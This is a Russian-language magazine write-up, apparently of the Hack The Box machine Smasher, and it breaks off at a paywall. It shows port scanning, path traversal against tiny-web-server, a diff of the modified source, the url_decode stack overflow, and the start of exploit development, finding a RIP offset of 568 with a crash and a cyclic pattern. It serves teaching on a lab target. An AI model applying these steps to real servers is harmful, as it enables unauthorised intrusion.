Содержание статьи
- В королевстве PWN
- Разведка
- Сканирование портов
- Веб — порт 1111
- Анализ tiny-web-server
- Изменения в исходном коде tiny.c
- Найти уязвимую строку
- Разработка эксплоита
- pwntools для Python 3
- От грубого шелла до SSH — порт 22
- Исследование окружения
- PrivEsc: www → smasher
- Криптооракулы, или атака Padding Oracle
- Разработка эксплоита
- Содержимое crackme.py
- PrivEsc: smasher → root
- Анализ checker
- strace
- Гонка за root.txt
- Эпилог
- Анализ tiny.c с помощью PVS-Studio
Все это мы проделаем на пути к root-флагу виртуалки Smasher (уровень сложности Insane — 7,6 балла из 10) с CTF-площадки Hack The Box. Поскольку речь в основном пойдет о срыве стека, это будет отличным завершением для нашего цикла «В королевстве PWN».
В королевстве PWN
В этом цикле статей мы изучаем разные аспекты атак типа «переполнение стека». Читай также:
Разведка
Сканирование портов
Я продолжаю извращаться с методами обнаружения открытых портов, и в этот раз будем пользоваться связкой из Masscan и Nmap. Masscan, к слову, на сегодняшний день самый быстрый из асинхронных сканеров портов. Ко всему прочему он опирается на собственное видение стека TCP/IP и, по словам разработчика, может просканировать весь интернет за шесть минут с одного хоста.
root@kali:~# masscan --rate=1000 -e tun0 -p1-65535,U:1-65535 10.10.10.89 > ports
Первой командой я инициирую сканирование всего диапазона портов (в том числе UDP) IP-адреса, по которому живет Smasher, и перенаправляю результат в текстовый файл.
root@kali:~# ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "\n" ',' | sed 's/,$//'`
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/smasher -p$ports 10.10.10.89
Далее с помощью стандартных средств текстового процессинга в Linux обрабатываю результаты скана, чтобы найденные порты хранились одной строкой через запятую, сохраняю эту строку в переменной ports
и спускаю с поводка Nmap.
По мнению Nmap, мы имеем дело с Ubuntu 16.04 (Xenial). Оно основано на информации о баннере SSH. Постучаться же можно в порты 22 и 1111. На последнем, кстати, висит некий shenfeng tiny-web-server — вот его мы и отправимся исследовать в первую очередь.
Веб — порт 1111
Браузер
По адресу http://10.10.10.89:1111/
тебя встретит листинг корневой директории веб-сервера.
Интересно, что страница index.html
существует, но редиректа на нее нет — вместо этого открывается список файлов каталога. Запомним это.
Если мы перейдем на /index.html
вручную, то увидим неработающую заглушку для формы авторизации (можно печатать в полях ввода, но кнопка Login не работает). Забавно, что оба поля для ввода называются input.email
.
A tiny web server in C
Если поискать shenfeng tiny-web-server в Сети, по первой же ссылке в выдаче результатов можно найти репозиторий проекта на GitHub.
Сразу же бросаются в глаза предупреждения, что код небезопасен: первое в самом описании сервера (как единственная его «антифича»), второе — в открытых issues.
Если верить описанию, то tiny-web-server подвержен Path Traversal, а возможность просматривать листинги директорий как будто шепчет тебе на ухо: «Так оно и есть…»
Анализ tiny-web-server
Проверим выполнимость Path Traversal. Так как Firefox любит исправлять синтаксически некорректные конструкции в адресной строке (в частности, резать префиксы вида ../../../
), то я сделаю это с помощью nc
, как показано в issue.
Что и требовалось доказать — у нас есть возможность читать файлы на сервере!
Что дальше? Осмотримся. Если дублировать первичный слеш для доступа к каталогам, сервер подумает, что таким образом мы обращаемся к корневой директории, — и разведку можно будет провести прямо из браузера.
В /home
нам доступна всего одна директория — /www
.
Из интересного здесь — скрипт restart.sh
для перезапуска инстанса процесса сервера, а также сама директория с проектом.
#!/usr/bin/env bash
## Please don’t edit this file let others players have fun
cd /home/www/tiny-web-server/
ps aux | grep tiny | awk '{print $2}' | xargs kill -9
nohup ./tiny public_html/ 1111 2>&1 > /dev/null &
Чтобы не мучиться с загрузкой каждого файла по отдельности, я клонирую директорию /home/www
целиком с помощью wget
, исключив каталог .git
, — различия в коде веб-сервера по сравнению с GitHub-версией мы узнаем чуть позже другим способом.
root@kali:~# wget --mirror -X home/www/tiny-web-server/.git http://10.10.10.89:1111//home/www/
Три файла представляют для нас интерес: Makefile
, tiny
и tiny.c
.
В Makefile
содержатся инструкции для сборки исполняемого файла.
CC = c99
CFLAGS = -Wall -O2
## LIB = -lpthread
all: tiny
tiny: tiny.c
$(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
clean:
rm -f *.o tiny *~
Флаги -g -fno-stack-protector -z execstack
намекают нам на предполагаемый «по сюжету» вектор атаки — срыв стека, который, надеюсь, уже успел тебе полюбиться.
Файл tiny
— сам бинарник, который развернут на Smasher.
У нас есть исполняемый стек, сегменты с возможностью записи и исполнения произвольных данных и активный механизм FORTIFY
— последний, правда, ни на что не повлияет в нашей ситуации (подробнее о нем можно прочесть в первой части цикла, где мы разбирали вывод checksec
). Плюс нужно помнить, что на целевом хосте, скорее всего, активен механизм рандомизации адресного пространства ASLR.
Прежде чем перейти непосредственно к сплоитингу, посмотрим, изменил ли как-нибудь автор машины исходный код tiny.c
(сам файл я положу к себе на гитхаб, чтобы не загромождать тело статьи).
Изменения в исходном коде tiny.c
Если нужно построчно сравнить текстовые файлы, я предпочитаю расширение DiffTabs для Sublime Text, где — в отличие от дефолтного diff
— есть подсветка синтаксиса. Однако, если ты привык работать исключительно из командной строки, colordiff
станет удобной альтернативой.
Выдернем последнюю версию tiny.c
с гитхаба (будем звать ее tiny-github.c
) и сравним с тем исходником, который мы захватили на Smasher.
root@kali:~# wget -qO tiny-github.c https://raw.githubusercontent.com/shenfeng/tiny-web-server/master/tiny.c
root@kali:~# colordiff tiny-github.c tiny.c
166c166
< sprintf(buf, "HTTP/1.1 200 OK\r\n%s%s%s%s%s",
---
> sprintf(buf, "HTTP/1.1 200 OK\r\nServer: shenfeng tiny-web-server\r\n%s%s%s%s%s",
233a234,236
> int reuse = 1;
> if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const char*)&reuse, sizeof(reuse)) < 0)
> perror("setsockopt(SO_REUSEADDR) failed");
234a238,239
> if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&reuse, sizeof(reuse)) < 0)
> perror("setsockopt(SO_REUSEPORT) failed");
309c314
< sprintf(buf, "HTTP/1.1 %d %s\r\n", status, msg);
---
> sprintf(buf, "HTTP/1.1 %d %s\r\nServer: shenfeng tiny-web-server\r\n", status, msg);
320c325
< sprintf(buf, "HTTP/1.1 206 Partial\r\n");
---
> sprintf(buf, "HTTP/1.1 206 Partial\r\nServer: shenfeng tiny-web-server\r\n");
346c351,355
< void process(int fd, struct sockaddr_in *clientaddr){
---
> int process(int fd, struct sockaddr_in *clientaddr){
> int pid = fork();
> if(pid==0){
> if(fd < 0)
> return 1;
377a387,389
> return 1;
> }
> return 0;
407a420
> int copy_listen_fd = listenfd;
417,420c430
<
< for(int i = 0; i < 10; i++) {
< int pid = fork();
< if (pid == 0) { // child
---
> signal(SIGCHLD, SIG_IGN);
421a432
>
423c434,437
< process(connfd, &clientaddr);
---
> if(connfd > -1) {
> int res = process(connfd, &clientaddr);
> if(res == 1)
> exit(0);
424a439,440
> }
>
426,437d441
< } else if (pid > 0) { // parent
< printf("child pid is %d\n", pid);
< } else {
< perror("fork");
< }
< }
<
< while(1){
< connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
< process(connfd, &clientaddr);
< close(connfd);
< }
438a443
>
Незначительные изменения:
- добавлена обработка ошибок (
233a234
,234a238
); - в строчках баннеров веб-сервера появилось имя разработчика, что облегчает атакующему идентификацию ПО на этапе сканирования хоста (
166c166
,320c325
).
Важные изменения: модифицирована логика обработки запросов клиента (все, что касается функции process
и создания форков). Если в tiny-github.c
реализована многопоточность с помощью концепции PreFork, когда мастер-процесс спавнит дочерние в цикле от 0 до 9, то в tiny.c
родитель форкается только один раз — и уже не в теле main
, а в самой функции process
. Полагаю, это было сделано, чтобы ослабить нагрузку на сервер — ведь ВМ атакует множество людей одновременно. Ну а нам это только на руку, потому что дебажить многопоточные приложения — то еще удовольствие.
Найти уязвимую строку
На одной из моих вузовских практик преподаватель поставил такую задачу: без доступа в Сеть с точностью до строки найти в исходном коде пакета OpenSSL место, ответственное за нашумевшую уязвимость Heartbleed (CVE-2014-0160). Разумеется, в большинстве случаев нельзя однозначно обвинить во всех бедах одну-единственную строку, но всегда можно (и нужно) выделить для себя место в коде, от которого ты будешь отталкиваться при атаке.
Найдем такую строку в tiny.c
. В формате статьи трудно анализировать исходные коды без нагромождения повторяющейся информации — поэтому я представлю анализ в виде цепочки «прыжков» по функциям (начиная от main
и заканчивая уязвимостью), а ты потом сам проследишь этот путь в своем редакторе.
main() { int res = process(connfd, &clientaddr); } ==> process() { parse_request(fd, &req); } ==> parse_request() { url_decode(filename, req->filename, MAXLINE); }
Функция url_decode
принимает три аргумента: два массива строк (источник — filename
и назначение — req->filename
) и количество копируемых байтов из первого массива во второй. В нашем случае это константа MAXLINE
, равная 1024.
void url_decode(char* src, char* dest, int max) {
char *p = src;
char code[3] = { 0 };
while(*p && --max) {
if(*p == '%') {
memcpy(code, ++p, 2);
*dest++ = (char)strtoul(code, NULL, 16);
p += 2;
} else {
*dest++ = *p++;
}
}
*dest = '\0';
}
Алгоритм функции тривиален. Клиент запрашивает у сервера файл. Если строка с именем этого файла содержит данные в Percent-encoding (их можно определить по символу %
), функция выполняет декодирование и помещает соответствующий байт в массив назначения. В противном случае происходит простое побайтовое копирование. Однако проблема в том, что локальный массив filename
имеет размер MAXLINE
(то есть 1024 байта), а вот поле req->filename
структуры http_request
располагает лишь 512 байтами.
typedef struct {
char filename[512];
off_t offset; /* for support Range */
size_t end;
} http_request;
Налицо классический Out-of-bounds Write (CWE-787: запись за пределы доступной памяти) — он и делает возможным срыв стека.
В эпилоге мы посмотрим на анализ трассировки этого кода, а пока подумаем, как можно использовать уязвимое место tiny.c
.
Разработка эксплоита
Сперва насладимся моментом, когда сервер tiny
крашится. Так как с ошибкой сегментации упадет дочерний процесс программы, привычного алерта Segmentation fault
в окне терминала мы не увидим. Чтобы убедиться, что процесс отработал некорректно и завершился сегфолтом, я открою журнал сообщений ядра dmesg
(с флагом -w
) и запрошу у сервера (несуществующий) файл с именем из тысячи букв A.
root@kali:~# ./tiny 1111
root@kali:~# dmesg -w
root@kali:~# curl localhost:1111/$(python -c 'print "A"*1000')
Класс: видим, что запрос выбивает child-процесс c general protection fault (или segmentation fault в нашем случае).
Поиск точки перезаписи RIP
Запустим исполняемый файл сервера в отладчике GDB.
INFO
Классический GDB без обвесов по умолчанию следит за выполнением родительского процесса, однако установленный ассистент PEDA будет мониторить дочерний процесс, если при выполнении был форк. Это эквивалентно настройке set follow-fork-mode child
в оригинальном GDB.
root@kali:~# gdb-peda ./tiny
Reading symbols from ./tiny...
gdb-peda$ r 1111
Starting program: /root/htb/boxes/smasher/tiny 1111
listen on port 1111, fd is 3
Теперь важный момент: я не могу пользоваться циклическим паттерном де Брёйна, который предлагает PEDA, ведь он содержит символы '%'
— а они, если помнишь, трактуются сервером как начало URL-кодировки.
Значит, нам нужен другой генератор. Можно пользоваться msf-pattern_create -l <N>
и msf-pattern_offset -q <0xFFFF>
, чтобы создать последовательность нужной длины и найти смещение. Однако я предпочитаю модуль pwntools
, который работает в разы быстрее.
Как мы видим, ни один из инструментов не использует «плохие» символы, поэтому для генерации вредоносного URL можно юзать любой из них.
root@kali:~# curl localhost:1111/$(python -c 'import pwn; print pwn.cyclic(1000)')
File not found
Мы отправили запрос на открытие несуществующей страницы при помощи curl
— а теперь смотрим, какое значение осело в регистре RSP, и рассчитываем величину смещения до RIP.
gdb-peda$ x/xw $rsp
0x7fffffffdf48: 0x66616172
root@kali:~# python -c 'from pwn import *; print cyclic_find(unhex("66616172")[::-1])'
568
Ответ: 568.
После выхода из отладчика хорошо бы принудительно убить все инстансы веб-сервера — ведь однозначно завершился только child-процесс.
root@kali:~# ps aux | grep tiny | awk '{print $2}' | xargs kill -9
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»